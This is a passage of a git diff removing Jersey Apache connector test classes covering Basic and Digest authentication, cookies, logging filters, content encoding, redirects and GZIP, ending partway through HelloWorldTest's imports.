-        @GET
-        @Path("queryParamsBasic")
-        public String getQueryParamsBasic(@Context HttpHeaders h, @Context UriInfo uriDetails) {
-            queryParamsBasicRequestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-            return "GET " + queryParamsBasicRequestCount;
-        }
-
-        @GET
-        @Path("queryParamsDigest")
-        public String getQueryParamsDigest(@Context HttpHeaders h, @Context UriInfo uriDetails) {
-            queryParamsDigestRequestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Digest realm=\"WallyWorld\"").build());
-            }
-            return "GET " + queryParamsDigestRequestCount;
-        }
-    }
-
-    @Test
-    public void testAuthGet() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testAuthGetWithRequestCredentialsProvider() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("GET",
-                     r.request()
-                      .property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider)
-                      .get(String.class));
-    }
-
-    @Test
-    public void testAuthGetWithClientFilter() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.basic("name", "password"));
-        WebTarget r = client.target(getBaseUri()).path("test/filter");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testAuthGetWithBasicAndDigestFilter() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universal("name", "password"));
-        WebTarget r = client.target(getBaseUri()).path("test/basicAndDigest");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testAuthGetBasicNoChallenge() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.basicBuilder().build());
-        WebTarget r = client.target(getBaseUri()).path("test/noauth");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testAuthGetWithDigestFilter() {
-        ClientConfig cc = new ClientConfig();
-        PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, cm);
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universal("name", "password"));
-        WebTarget r = client.target(getBaseUri()).path("test/digest");
-
-        assertEquals("GET", r.request().get(String.class));
-
-        // Verify the connection that was used for the request is available for reuse
-        // and no connections are leased
-        assertEquals(cm.getTotalStats().getAvailable(), 1);
-        assertEquals(cm.getTotalStats().getLeased(), 0);
-    }
-
-    @Test
-    @Disabled("JERSEY-1750: Cannot retry request with a non-repeatable request entity. How to buffer the entity?"
-            + " Allow repeatable write in jersey?")
-    public void testAuthPost() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-    }
-
-    @Test
-    public void testAuthPostWithClientFilter() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.basic("name", "password"));
-        WebTarget r = client.target(getBaseUri()).path("test/filter");
-
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-    }
-
-    @Test
-    public void testAuthDelete() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        Response response = r.request().delete();
-        assertEquals(response.getStatus(), 204);
-    }
-
-    @Test
-    public void testAuthDeleteWithClientFilter() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.basic("name", "password"));
-        WebTarget r = client.target(getBaseUri()).path("test/filter");
-
-        Response response = r.request().delete();
-        assertEquals(204, response.getStatus());
-    }
-
-    @Test
-    public void testAuthInteractiveGet() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    @Disabled("JERSEY-1750: Cannot retry request with a non-repeatable request entity. How to buffer the entity?"
-            + " Allow repeatable write in jersey?")
-    public void testAuthInteractivePost() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-    }
-
-    @Test
-    public void testAuthGetWithBasicFilterAndContent() {
-        ClientConfig cc = new ClientConfig();
-        PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, cm);
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universalBuilder().build());
-        WebTarget r = client.target(getBaseUri()).path("test/content");
-
-        try {
-            assertEquals("GET", r.request().get(String.class));
-            fail();
-        } catch (ResponseAuthenticationException ex) {
-            // expected
-        }
-
-        // Verify the connection that was used for the request is available for reuse
-        // and no connections are leased
-        assertEquals(cm.getTotalStats().getAvailable(), 1);
-        assertEquals(cm.getTotalStats().getLeased(), 0);
-    }
-
-    @Test
-    public void testAuthGetWithDigestFilterAndContent() {
-        ClientConfig cc = new ClientConfig();
-        PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, cm);
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universalBuilder().build());
-        WebTarget r = client.target(getBaseUri()).path("test/contentDigestAuth");
-
-        try {
-            assertEquals("GET", r.request().get(String.class));
-            fail();
-        } catch (ResponseAuthenticationException ex) {
-            // expected
-        }
-
-        // Verify the connection that was used for the request is available for reuse
-        // and no connections are leased
-        assertEquals(cm.getTotalStats().getAvailable(), 1);
-        assertEquals(cm.getTotalStats().getLeased(), 0);
-    }
-
-    @Test
-    public void testAuthGetQueryParamsBasic() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universal("name", "password"));
-
-        WebTarget r = client.target(getBaseUri()).path("test/queryParamsBasic");
-        assertEquals("GET 2", r.request().get(String.class));
-
-        r = client.target(getBaseUri())
-                .path("test/queryParamsBasic")
-                .queryParam("param1", "value1")
-                .queryParam("param2", "value2");
-        assertEquals("GET 3", r.request().get(String.class));
-
-    }
-
-    @Test
-    public void testAuthGetQueryParamsDigest() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universal("name", "password"));
-
-        WebTarget r = client.target(getBaseUri()).path("test/queryParamsDigest");
-        assertEquals("GET 2", r.request().get(String.class));
-
-        r = client.target(getBaseUri())
-                .path("test/queryParamsDigest")
-                .queryParam("param1", "value1")
-                .queryParam("param2", "value2");
-        assertEquals("GET 3", r.request().get(String.class));
-    }
-
-    @Test
-    public void testAuthGetWithConfigurator() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-        ApacheHttpClientBuilderConfigurator apacheHttpClientBuilderConfigurator = (httpClientBuilder) -> {
-            return httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider);
-        };
-
-        ClientConfig cc = new ClientConfig();
-        cc.register(apacheHttpClientBuilderConfigurator);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/CookieTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/CookieTest.java
deleted file mode 100644
index d94c8b3..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/CookieTest.java
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.Cookie;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.NewCookie;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.JerseyClient;
-import org.glassfish.jersey.client.JerseyClientBuilder;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class CookieTest extends JerseyTest {
-
-    @Path("/")
-    public static class CookieResource {
-
-        @GET
-        public Response get(@Context HttpHeaders h) {
-            Cookie c = h.getCookies().get("name");
-            String e = (c == null) ? "NO-COOKIE" : c.getValue();
-            return Response.ok(e)
-                    .cookie(new NewCookie("name", "value")).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(CookieResource.class);
-    }
-
-    @Test
-    public void testCookieResource() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-    }
-
-    @Test
-    public void testDisabledCookies() {
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.DISABLE_COOKIES, true);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-
-        final ApacheConnector connector = (ApacheConnector) client.getConfiguration().getConnector();
-        if (connector.getCookieStore() != null) {
-            assertTrue(connector.getCookieStore().getCookies().isEmpty());
-        } else {
-            assertNull(connector.getCookieStore());
-        }
-    }
-
-    @Test
-    public void testCookies() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-
-        final ApacheConnector connector = (ApacheConnector) client.getConfiguration().getConnector();
-        assertNotNull(connector.getCookieStore().getCookies());
-        assertEquals(1, connector.getCookieStore().getCookies().size());
-        assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/CustomLoggingFilter.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/CustomLoggingFilter.java
deleted file mode 100644
index 77ff3e0..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/CustomLoggingFilter.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.io.IOException;
-
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.ContainerResponseContext;
-import jakarta.ws.rs.container.ContainerResponseFilter;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Custom logging filter.
- *
- * @author Santiago Pericas-Geertsen (santiago.pericasgeertsen at oracle.com)
- */
-public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
-        ClientRequestFilter, ClientResponseFilter {
-
-    static int preFilterCalled = 0;
-    static int postFilterCalled = 0;
-
-    @Override
-    public void filter(ClientRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        postFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        postFilterCalled++;
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/DisableContentEncodingTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/DisableContentEncodingTest.java
deleted file mode 100644
index b77564e..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/DisableContentEncodingTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.HeaderParam;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.message.GZipEncoder;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.apache.http.client.config.RequestConfig;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Ondrej Kosatka
- */
-public class DisableContentEncodingTest extends JerseyTest {
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(Resource.class);
-    }
-
-    @Path("/")
-    public static class Resource {
-
-        @GET
-        public String get(@HeaderParam("Accept-Encoding") String enc) {
-            return enc;
-        }
-    }
-
-    @Test
-    public void testDisabledByRequestConfig() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        final RequestConfig requestConfig = RequestConfig.custom().setContentCompressionEnabled(false).build();
-        cc.property(ApacheClientProperties.REQUEST_CONFIG, requestConfig);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        String enc = r.request().get().readEntity(String.class);
-        assertEquals("", enc);
-    }
-
-    @Test
-    public void testEnabledByRequestConfig() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        final RequestConfig requestConfig = RequestConfig.custom().setContentCompressionEnabled(true).build();
-        cc.property(ApacheClientProperties.REQUEST_CONFIG, requestConfig);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        String enc = r.request().get().readEntity(String.class);
-        assertEquals("gzip,deflate", enc);
-    }
-
-    @Test
-    public void testDefaultEncoding() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        String enc = r.request().get().readEntity(String.class);
-        assertEquals("gzip,deflate", enc);
-    }
-
-    @Test
-    public void testDefaultEncodingOverridden() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        String enc = r.request().acceptEncoding("gzip").get().readEntity(String.class);
-        assertEquals("gzip", enc);
-    }
-
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/FollowRedirectsTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/FollowRedirectsTest.java
deleted file mode 100644
index 830b358..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/FollowRedirectsTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.io.IOException;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Apache connector follow redirect tests.
- *
- * @author Martin Matula
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- */
-public class FollowRedirectsTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
-
-    @Path("/test")
-    public static class RedirectResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("redirect")
-        public Response redirect() {
-            return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(RedirectResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    private static class RedirectTestFilter implements ClientResponseFilter {
-        public static final String RESOLVED_URI_HEADER = "resolved-uri";
-
-        @Override
-        public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
-            if (responseContext instanceof ClientResponse) {
-                ClientResponse clientResponse = (ClientResponse) responseContext;
-                responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
-            }
-        }
-    }
-
-    @Test
-    public void testDoFollow() {
-        Response r = target("test/redirect").register(RedirectTestFilter.class).request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-        assertEquals(
-                UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(),
-                r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER));
-    }
-
-    @Test
-    public void testDontFollow() {
-        WebTarget t = target("test/redirect");
-        t.property(ClientProperties.FOLLOW_REDIRECTS, false);
-        assertEquals(303, t.request().get().getStatus());
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/GZIPContentEncodingTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/GZIPContentEncodingTest.java
deleted file mode 100644
index ea04a8f..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/GZIPContentEncodingTest.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.util.Arrays;
-
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.message.GZipEncoder;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class GZIPContentEncodingTest extends JerseyTest {
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(Resource.class);
-    }
-
-    @Path("/")
-    public static class Resource {
-
-        @POST
-        public byte[] post(byte[] content) {
-            return content;
-        }
-    }
-
-    @Test
-    public void testPost() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostChunked() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        cc.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri());
-
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.text("POST"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HelloWorldTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HelloWorldTest.java
deleted file mode 100644
index 2c4a5b6..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HelloWorldTest.java
+++ /dev/null
@@ -1,614 +0,0 @@
-/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.io.IOException;
-import java.net.InetAddress;
-import java.net.Socket;
-import java.util.Map;
-import java.util.concurrent.ConcurrentHashMap;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicInteger;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.InternalServerErrorException;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.InvocationCallback;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import javax.net.ssl.SSLSession;
-
